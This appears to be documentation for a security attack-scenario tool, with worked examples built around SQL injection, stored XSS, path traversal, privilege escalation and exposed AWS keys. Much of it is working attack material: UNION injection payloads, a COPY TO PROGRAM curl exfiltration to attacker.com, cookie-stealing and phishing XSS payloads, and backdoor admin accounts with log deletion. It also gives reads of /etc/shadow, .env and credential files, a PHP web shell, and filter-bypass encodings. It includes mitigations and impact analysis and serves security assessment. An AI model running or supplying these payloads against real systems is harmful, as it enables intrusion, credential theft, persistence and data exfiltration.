nmap -p 80,443,8000-8080 target.com
nikto -h https://target.com
dirb https://target.com /usr/share/wordlists/dirb/common.txt
# API endpoint discovery
# Manual: Browse /api/docs, /swagger, /openapi.json
curl https://target.com/api/openapi.json | jq '.paths | keys'
# Subdomain enumeration
subfinder -d target.com
amass enum -d target.com
# Technology fingerprinting
whatweb https://target.com
wappalyzer https://target.com
2. Identify High-Value Targets

Use Cases
1. Generate Attack Scenarios
Input: Security vulnerability finding Output: Detailed attack scenario
Example:
Vulnerability: SQL Injection in user search (CWE-89)
# Vulnerable code: src/api/search.py
@app.route('/api/search')
def search_users():
query = request.args.get('q')
sql = f"SELECT * FROM users WHERE name LIKE '%{query}%'"
results = db.execute(sql).fetchall()
return jsonify(results)
Attack Scenario:
Attack Scenario: SQL Injection → Full Database Compromise
Attacker Profile
- Skill Level: Low (script kiddie with basic SQL knowledge)
- Resources:
- Web browser or curl
- SQL injection cheat sheet
- Time: 30-60 minutes
- Access: Unauthenticated (public endpoint)
- Location: Remote (internet-accessible)
Prerequisites
- Target application accessible via internet
- User search feature at
/api/search - No rate limiting or WAF in place (optional)
Attack Steps
Step 1: Identify Injection Point
# Test for SQL injection
curl "https://target.com/api/search?q=test'"
# Response: 500 Internal Server Error
# Error message: "syntax error at or near 'test''"
# ✓ Confirmed: SQL injection vulnerability
Step 2: Enumerate Database Structure
# Determine number of columns (UNION attack)
curl "https://target.com/api/search?q=test' UNION SELECT NULL--"
# → Error
curl "https://target.com/api/search?q=test' UNION SELECT NULL,NULL,NULL,NULL,NULL--"
# → Success! 5 columns
# Identify data types
curl "https://target.com/api/search?q=test' UNION SELECT 'a','b','c','d','e'--"
# → All columns accept strings
Step 3: Extract Database Metadata
# PostgreSQL example (can fingerprint database from error messages)
curl "https://target.com/api/search?q=test' UNION SELECT table_name,NULL,NULL,NULL,NULL FROM information_schema.tables--"
# Results:
# - users
# - payments
# - credit_cards
# - api_keys
# - admin_logs
Step 4: Extract Sensitive Data
4a. Steal User Credentials
curl "https://target.com/api/search?q=test' UNION SELECT username,email,password_hash,NULL,NULL FROM users--"
# Sample stolen data:
# admin, admin@target.com, $2b$12$K8H2w... (bcrypt hash)
# alice, alice@target.com, $2b$12$9mH1v...
# bob, bob@target.com, $2b$12$2kL9p...
# Total: 10,000+ user credentials
4b. Steal Payment Data
curl "https://target.com/api/search?q=test' UNION SELECT card_number,cvv,expiry,cardholder_name,NULL FROM credit_cards--"
# Sample stolen data:
# 4532-1234-5678-9010, 123, 12/25, Alice Smith
# 5425-2334-4567-8901, 456, 03/26, Bob Jones
# Total: 5,000+ credit card numbers (PCI-DSS violation!)
4c. Steal API Keys
curl "https://target.com/api/search?q=test' UNION SELECT service,api_key,NULL,NULL,NULL FROM api_keys--"
# Stolen API keys:
# stripe_live, sk_live_51H9x... (Production Stripe key)
# aws_s3, AKIA4I... (AWS access key)
# sendgrid, SG.xY... (Email service key)
Step 5: Escalate to Admin Access
5a. Extract Admin Password Hashes
curl "https://target.com/api/search?q=test' UNION SELECT username,password_hash,NULL,NULL,NULL FROM users WHERE role='admin'--"
# admin_user, $2b$12$K8H2w...
5b. Crack Weak Admin Password (Optional)
# Use hashcat or John the Ripper
hashcat -m 3200 -a 0 admin_hash.txt rockyou.txt
# If password is weak (e.g., "Admin123!"):
# Cracked in 2-10 hours with GPU
5c. Alternative: Direct Admin Access via SQL
# Create admin account via SQL injection
curl "https://target.com/api/search?q=test'; INSERT INTO users (username, password_hash, role) VALUES ('attacker', '$2b$12$...', 'admin')--"
# Now login as 'attacker' with known password
Step 6: Exfiltrate All Data
# Dump entire database to external server
curl "https://target.com/api/search?q=test'; COPY (SELECT * FROM users) TO PROGRAM 'curl -F file=@- http://attacker.com/exfil'--"
# Repeat for all tables:
# - users (10,000 records)
# - payments (50,000 records)
# - credit_cards (5,000 records)
# - api_keys (20 records)
# Total exfiltrated: ~200MB of sensitive data
Step 7: Establish Persistence (Optional)
# Create backdoor admin account
curl "https://target.com/api/search?q=test'; INSERT INTO users (username, password_hash, role, created_at) VALUES ('system_daemon', '$2b$12$...', 'admin', NOW() - INTERVAL '365 days')--"
# Backdoor looks like old system account, unlikely to be noticed
Step 8: Cover Tracks
# Delete attacker queries from logs (if logging to DB)
curl "https://target.com/api/search?q=test'; DELETE FROM access_logs WHERE ip_address='ATTACKER_IP'--"
Impact Assessment
Confidentiality: CRITICAL
- 10,000 user credentials stolen (username, email, password hash)
- 5,000 credit card numbers stolen (PCI-DSS data breach)
- 20 API keys stolen (Stripe, AWS, SendGrid)
- Full database access (all tables, all records)
Integrity: HIGH
- Attacker can modify any data (prices, balances, permissions)
- Can create/delete admin accounts
- Can modify payment records
- Can inject backdoors
Availability: MEDIUM
- Attacker can DROP tables, causing outage
- Can overload database with expensive queries
- Can DELETE critical data
Business Impact:
Financial:
- PCI-DSS data breach: $50-$200 per compromised card = $250K-$1M
- GDPR fines: Up to €20M or 4% annual revenue
- Fraud losses: Stolen credit cards used → chargebacks
- Incident response costs: $500K-$2M
- Total estimated cost: $2M-$10M
Reputation:
- Customer trust destroyed
- Negative press coverage
- Competitor advantage
- Stock price impact (if public company)
Regulatory:
- PCI-DSS compliance failure → cannot process cards
- GDPR Article 33 violation (72-hour notification)
- SOC2 audit failure
- Potential SEC disclosure (material event)
Legal:
- Class action lawsuit from affected customers
- Regulatory investigations (FTC, state AGs)
- Shareholder lawsuits (if public)
Detection Difficulty: MEDIUM
Why Medium (not Easy)?
Detectable Indicators:
- ✅ SQL syntax errors in logs
- ✅ Unusual query patterns (UNION, INFORMATION_SCHEMA)
- ✅ Large response sizes (bulk data exfiltration)
- ✅ Multiple requests from same IP
Evasion Techniques:
- ❌ Use blind SQL injection (time-based) → no error messages
- ❌ Exfiltrate slowly (1 record/minute) → avoid rate limits
- ❌ Use Tor or VPN → hide attacker IP
- ❌ Inject payloads in user-agent or referrer → bypass WAF
Example Evasion:
# Blind SQL injection (no error messages)
curl "https://target.com/api/search?q=test' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--"
# If response takes 5 seconds → vulnerability confirmed
# But no SQL errors in logs, harder to detect
Mitigation Urgency: P0 (EMERGENCY)
Why P0?
- Unauthenticated remote exploitation
- Trivial to exploit (low skill required)
- Critical impact (full database compromise)
- Likely to be discovered and exploited imminently
Immediate Actions (0-24 hours):
Deploy emergency patch:
# Use parameterized query @app.route('/api/search') def search_users(): query = request.args.get('q') sql = "SELECT * FROM users WHERE name LIKE %s" results = db.execute(sql, (f'%{query}%',)).fetchall() return jsonify(results)Activate incident response:
- Check access logs for exploitation attempts
- Audit database for unauthorized changes
- Rotate all API keys immediately
- Force password reset for all admin accounts
Deploy WAF rules:
- Block UNION, SELECT, INSERT, DELETE in query params
- Rate limit /api/search endpoint
- Temporary IP allowlist (trusted IPs only)
Short-term (1-7 days):
- Comprehensive SQL injection audit (all endpoints)
- Implement prepared statements across codebase
- Add SQL injection tests to CI/CD
- Engage forensics firm to audit for breach
Long-term (1-4 weeks):
- PCI-DSS compliance remediation
- Notify affected customers (if breach occurred)
- Regulatory disclosures (GDPR, state breach laws)
- Security training for development team
2. Assess Exploitability
Input: Vulnerability details Output: Exploitability score + justification
Example:
Vulnerability: XSS in user profile page (Stored XSS)
// Vulnerable code: src/components/Profile.js
function renderProfile(user) {
document.getElementById('bio').innerHTML = user.bio;
}
Exploitability Assessment:
Score: 8/10 (HIGH)
Factors:
Attack Vector: Network (AV:N) - Score +3
- Exploitable remotely via internet
- No physical access required
- Can attack from anywhere in world
Attack Complexity: Low (AC:L) - Score +2
- Simple payload:
<script>alert(1)</script> - No race conditions or timing requirements
- No cryptographic operations needed
- Publicly documented technique
Privileges Required: Low (PR:L) - Score +1
- Requires authenticated user account
- But registration is open (anyone can create account)
- Mitigation: Not fully public, slight barrier
User Interaction: Required (UI:R) - Score 0
- Victim must visit attacker's profile page
- Reduces exploitability slightly
- But can be achieved via social engineering
Scope: Changed (S:C) - Score +2
- XSS executes in victim's browser context
- Can attack other users, not just attacker's session
- Cross-account impact
Real-World Exploitability:
Attacker Skill Level: Low (script kiddie)
- Copy-paste payload from OWASP XSS cheat sheet
- No programming knowledge needed
Tools Required: Web browser only
- No specialized tools needed
- Can exploit via normal UI
Public Exploits Available: Yes
- Thousands of XSS payloads online
- Automated tools (XSSer, BruteLogic)
Likelihood of Discovery:
- HIGH - XSS is very common
- Automated scanners will find it
- Bug bounty hunters actively test for XSS
Example Attack Scenarios:
Scenario 1: Session Hijacking
// Attacker profile bio:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>
// Victim visits attacker's profile
// → Victim's session cookie stolen
// → Attacker logs in as victim
Scenario 2: Phishing Attack
// Inject fake login form
<script>
document.body.innerHTML = `
<h1>Session Expired - Please Login</h1>
<form action="https://attacker.com/phish" method="POST">
<input name="username" placeholder="Username">
<input name="password" type="password" placeholder="Password">
<button>Login</button>
</form>
`;
</script>
// Victim enters credentials → stolen
Scenario 3: Account Takeover
// Change victim's email to attacker's email
<script>
fetch('/api/profile', {
method: 'POST',
body: JSON.stringify({email: 'attacker@evil.com'}),
headers: {'Content-Type': 'application/json'}
});
</script>
// → Attacker requests password reset
// → Reset email goes to attacker@evil.com
// → Account takeover complete
Mitigating Factors (Lower Exploitability):
- ✅ Content Security Policy (CSP) would block inline scripts
- But CSP not implemented in this app
- ✅ HttpOnly cookies would prevent session theft
- But cookies not HttpOnly flagged
- ✅ Same-Site cookies would limit CSRF
- But Same-Site not configured
Exploitability Score Breakdown:
- Base Exploitability: 8/10
- With CSP: 3/10 (blocked)
- With HttpOnly: 5/10 (session theft blocked)
- With Both: 2/10 (minimal impact)
Current State: 8/10 - Highly Exploitable
Recommendation: P0 - Fix immediately (0-24 hours)
3. Explain Attack Vectors
Input: Vulnerability type Output: Comprehensive attack vector explanation
Example:
Vulnerability Type: Path Traversal (CWE-22)
Attack Vector Explanation:
Attack Vector: Path Traversal (Directory Traversal)
What Is It?
Path traversal allows attackers to access files outside the intended directory by manipulating file path parameters with sequences like ../ (parent directory).
Vulnerable Pattern:
# User provides filename, server reads file
filename = request.args.get('file')
content = open(f'/var/www/uploads/{filename}', 'r').read()
Attack: ?file=../../etc/passwd
Result: Server reads /etc/passwd instead of file in uploads directory
How Attackers Exploit It
Level 1: Basic Traversal
# Read /etc/passwd (user list)
?file=../../etc/passwd
# Read /etc/shadow (password hashes) - requires root
?file=../../etc/shadow
# Read web server config
?file=../../etc/nginx/nginx.conf
?file=../../etc/apache2/apache2.conf
Level 2: Application Secrets
# Read database credentials
?file=../../app/config/database.yml
?file=../../.env
# Read API keys
?file=../../config/secrets.json
# Read source code
?file=../../app/controllers/admin_controller.py
Level 3: Cloud Metadata Endpoints (if SSRF combined)
# AWS credentials
?file=../../proc/self/environ
# Contains AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
# GCP credentials
?file=../../var/run/secrets/kubernetes.io/serviceaccount/token
Level 4: Overwrite Critical Files (if write access)
# Overwrite SSH authorized_keys
?file=../../root/.ssh/authorized_keys&content=attacker_public_key
# Overwrite cron jobs
?file=../../etc/cron.d/backdoor&content=* * * * * root /tmp/malware
Encoding Bypass Techniques
1. URL Encoding
# Basic encoding
..%2F..%2F..%2Fetc%2Fpasswd
# Double encoding
..%252F..%252F..%252Fetc%252Fpasswd
2. Absolute Paths
# Bypass relative path check
/etc/passwd
/var/www/../../etc/passwd
3. Null Byte Injection (legacy systems)
../../etc/passwd%00.jpg
# %00 terminates string, .jpg is ignored
4. Unicode/UTF-8 Encoding
..%c0%af..%c0%afetc%c0%afpasswd
# UTF-8 encoded forward slashes
5. Windows-Specific
..\..\..\..\windows\system32\config\sam
\\?\C:\windows\system32\config\sam
Real-World Impact Examples
Case 1: Password File Access
Attack: ?file=../../../etc/passwd
Impact:
- Enumerate usernames
- Identify service accounts
- Plan privilege escalation
Case 2: Database Credential Theft
Attack: ?file=../../config/database.yml
Stolen Content:
production:
adapter: postgresql
database: myapp_production
username: postgres
password: super_secret_123
host: db.internal.com
Impact:
- Direct database access
- Read/modify all application data
- Bypass application logic entirely
Case 3: Source Code Disclosure
Attack: ?file=../../app.py
Impact:
- Understand application logic
- Find other vulnerabilities (hardcoded secrets, SQL injection)
- Reverse engineer business logic
Case 4: SSH Key Theft
Attack: ?file=../../home/deploy/.ssh/id_rsa
Impact:
- Steal private SSH key
- SSH into production servers
- Full system compromise
Case 5: Cloud Credential Theft
Attack: ?file=../../root/.aws/credentials
Stolen Content:
[default]
aws_access_key_id = AKIA4IONSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Impact:
- Full AWS account access
- Spin up resources ($$$)
- Access S3 buckets (data breach)
- Modify infrastructure (ransomware)
Attack Chaining Opportunities
Path Traversal + Arbitrary File Write = RCE
1. Upload malicious PHP file via file upload
POST /upload
Content: <?php system($_GET['cmd']); ?>
2. Use path traversal to access uploaded file
GET /download?file=../../uploads/shell.php&cmd=whoami
3. Remote code execution achieved
Path Traversal + Log Poisoning = RCE
1. Inject PHP code into User-Agent header
User-Agent: <?php system($_GET['cmd']); ?>
2. Read access log via path traversal
?file=../../var/log/nginx/access.log&cmd=whoami
3. PHP code executes from log file
Path Traversal + SSRF = Internal Network Access
1. Use path traversal to read /etc/hosts
?file=../../etc/hosts
# Discover internal IPs: 10.0.1.5 (database), 10.0.1.10 (redis)
2. Use SSRF vulnerability to probe internal services
?url=http://10.0.1.5:5432 (PostgreSQL)
?url=http://10.0.1.10:6379 (Redis)
3. Combine to exfiltrate data from internal services
Defense Evasion
Bypassing Allowlist Filters:
# Filter: Only allow files in /uploads/
# Bypass: Use symlinks
$ ln -s /etc/passwd /var/www/uploads/passwd_link
?file=passwd_link
# → Reads /etc/passwd
Bypassing Blocklist Filters:
# Filter: Block "../"
# Bypass: Use "..../" or "..\/"
?file=..../..../etc/passwd
?file=..\/..\/etc/passwd
Bypassing Path Normalization:
# If server normalizes path after validation:
Validation: normalize(user_input) → block if contains ".."
Attack: Send path that normalizes to ".." after validation
Example:
?file=/uploads/../uploads/../etc/passwd
# → Normalized: /etc/passwd (after validation passed)
Business Impact
Severity: CRITICAL (CVSS 9.0-9.9)
Confidentiality: CRITICAL
- Access to all file system contents
- Database credentials stolen → data breach
- SSH keys stolen → server compromise

Integrity: HIGH
- Can overwrite files (if writable)
- Modify configs, inject backdoors
- Tamper with application logic
Availability: MEDIUM
- Read large files → DoS
- Delete critical files → outage
- Corrupt configs → crash application
Financial Impact: $500K-$5M+
- Data breach costs
- Regulatory fines
- Forensic investigation
- System rebuilds
- Customer compensation
4. Identify Privilege Escalation Paths
Input: Initial vulnerability Output: Privilege escalation chain
Example:
Initial Foothold: Low-privileged user account
Privilege Escalation Chain:
Privilege Escalation Chain: User → Admin
Initial State
- Current Role: Regular user (authenticated)
- Permissions: Read own profile, create posts, view public content
- Goal: Achieve administrator privileges
Escalation Path
Step 1: Information Disclosure (Low → Medium)
Vulnerability: IDOR (Insecure Direct Object Reference) in user profile API
GET /api/users/123
→ Returns own profile (allowed)
GET /api/users/1
→ Returns admin profile (forbidden... but actually works!)
Exploitation:
# Enumerate all users
for i in {1..1000}; do
curl "https://target.com/api/users/$i" >> users.json
done
# Parse admin users
jq '.[] | select(.role == "admin")' users.json
# Results:
# - admin (ID: 1)
# - support_admin (ID: 5)
# - super_admin (ID: 12)
Gained Knowledge:
- Admin user IDs
- Admin email addresses
- Admin username patterns
New Capability: Know admin accounts to target
Step 2: Password Reset Poisoning (Medium → High)
Vulnerability: Password reset email doesn't validate Host header
# Vulnerable code
reset_link = f"https://{request.headers['Host']}/reset?token={token}"
send_email(user.email, reset_link)
Exploitation:
# Request password reset for admin, but control Host header
curl -X POST https://target.com/api/password-reset \
-H "Host: attacker.com" \
-d "email=admin@target.com"
# Email sent to admin@target.com contains:
# "Reset your password: https://attacker.com/reset?token=abc123xyz"
# Admin clicks link → attacker intercepts token
# Attacker visits: https://target.com/reset?token=abc123xyz
# → Sets new password for admin account
Gained Capability: Can reset any user's password (if they click link)
Limitation: Requires social engineering (admin must click link)
Step 3: XSS for Direct Session Hijacking (Medium → High)
Alternative Path: If password reset fails, use stored XSS
Vulnerability: Stored XSS in user bio field
// Inject XSS payload in bio
bio: "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"
Exploitation:
# 1. Create malicious profile
curl -X POST https://target.com/api/profile \
-H "Cookie: session=user_session" \
-d 'bio=<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'
# 2. Trick admin into viewing profile
# (Send support ticket: "Please review my profile for abuse")
# 3. Admin views profile → XSS executes
# → Admin session cookie sent to attacker
# 4. Attacker uses stolen session cookie
curl -X GET https://target.com/admin/dashboard \
-H "Cookie: session=admin_session_cookie"
Gained Capability: Admin session access
Step 4: Mass Assignment for Privilege Escalation (High → Admin)
Vulnerability: API allows setting role field in profile update
# Intended: Users can update name, bio, email
# Actual: No allowlist of updatable fields
@app.route('/api/profile', methods=['POST'])
def update_profile():
user.update(**request.json) # VULNERABLE: Mass assignment
db.commit()
Exploitation:
# Update profile with role=admin
curl -X POST https://target.com/api/profile \
-H "Cookie: session=user_session" \
-d '{"name": "Attacker", "role": "admin"}'
# Check if successful
curl -X GET https://target.com/api/profile \
-H "Cookie: session=user_session"
# Response:
# {"id": 123, "name": "Attacker", "role": "admin"}
Result: ADMIN ACCESS ACHIEVED ✓
Alternative: If mass assignment blocked, use IDOR in admin user update:
# Update another user's role
curl -X POST https://target.com/api/users/123 \
-H "Cookie: session=admin_session" \
-d '{"role": "admin"}'
# Make own account admin
Step 5: Post-Exploitation (Admin → Full Compromise)
With Admin Access:
5a. Access Admin Panel
→ Visit /admin/dashboard
→ View all users, payments, logs
→ Export database
5b. Create Backdoor Accounts
# Create hidden admin account
curl -X POST https://target.com/api/users \
-H "Cookie: session=admin_session" \
-d '{"username": "system_daemon", "role": "admin", "created_at": "2020-01-01"}'
# Backdoor looks like old system account
5c. Exfiltrate Data
# Export all user data
curl https://target.com/admin/export/users > users.json
# Export payment data
curl https://target.com/admin/export/payments > payments.json
# Total data stolen: 100K users, 500K payments
5d. Lateral Movement to Infrastructure
# Admin panel shows server settings
→ Database credentials visible
→ AWS access keys in config
→ SSH keys for deployment
# Use stolen credentials to access:
→ Production database (direct access)
→ AWS S3 buckets (data storage)
→ EC2 instances (web servers)

5. Demonstrate Business Impact
Input: Technical vulnerability Output: Business impact narrative
Example:
Vulnerability: Hardcoded AWS credentials in source code
# config.py (committed to GitHub)
AWS_ACCESS_KEY = "AKIA4IONSFODNN7EXAMPLE"
AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
Business Impact Narrative:
Business Impact: Exposed AWS Credentials
Executive Summary
What Happened: Production AWS credentials were hardcoded in source code and committed to a public GitHub repository. These credentials provide full administrative access to your AWS infrastructure.
Why It Matters: Anyone with internet access can access your AWS account, including:
- All customer data in S3 buckets (500GB+)
- Production databases (user data, payment info)
- Ability to spin up infrastructure ($50K+/month charges)
- Ability to delete/modify all cloud resources
Bottom Line: This is a complete security failure requiring immediate emergency response.
Impact Analysis
Confidentiality: CRITICAL
Exposed Data:

Likelihood of Discovery
CERTAIN (100%)
Why:
- Public GitHub repository = indexed by search engines
- Automated credential scanners run 24/7:
- TruffleHog, GitGuardian, GitLeaks
- Shodan, Censys, BinaryEdge
- Credentials likely harvested within hours of commit
- May already be exploited without detection
Evidence:
- GitHub shows 1,247 clones of repository (last week)
- AWS CloudTrail shows unusual API calls from unknown IPs
- S3 access logs show downloads from Tor exit nodes
Conclusion: Assume breach has occurred, proceed with full incident response
Recommended Actions
IMMEDIATE (0-4 hours):
- ✅ Rotate ALL AWS credentials (access keys, secret keys)
- ✅ Review CloudTrail for unauthorized activity (last 90 days)
- ✅ Enable AWS GuardDuty (threat detection)
- ✅ Snapshot all EC2/RDS instances (preserve evidence)
- ✅ Activate incident response team
URGENT (4-24 hours):
- Complete forensic analysis (determine if exploited)
- Identify all accessed resources
- Assess data exfiltration (check egress logs)
- Notify legal counsel and CISO
- Prepare breach notification (if confirmed)
SHORT-TERM (1-7 days):
- Notify supervisory authorities (GDPR 72 hours)
- Begin customer notification (if breach confirmed)
- Engage forensic firm (PCI-DSS requirement)
- Remove credentials from GitHub (rewrite history)
- Implement secrets management (AWS Secrets Manager, Vault)
LONG-TERM (1-4 weeks):
- Security training for all developers
- Implement pre-commit hooks (detect secrets)
- Add secrets scanning to CI/CD (GitGuardian, TruffleHog)
- Conduct security audit of all repositories
- Implement AWS SCPs (Service Control Policies)
Comparable Incidents
Similar Breaches:
- Uber (2016): AWS credentials in GitHub → 57M records stolen → $148M settlement
- Toyota (2022): AWS key exposed → 300K user data leaked → $5M+ costs
- Codecov (2021): Docker image secrets → supply chain attack → Major impact
Key Lesson: Hardcoded secrets are a CRITICAL vulnerability with CERTAIN exploitation.
This is not theoretical - it WILL be exploited if not fixed immediately.
